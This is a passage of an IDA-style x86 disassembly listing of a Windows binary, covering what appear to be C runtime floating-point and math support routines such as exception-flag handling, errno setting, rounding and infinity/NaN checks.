		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26703BAh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


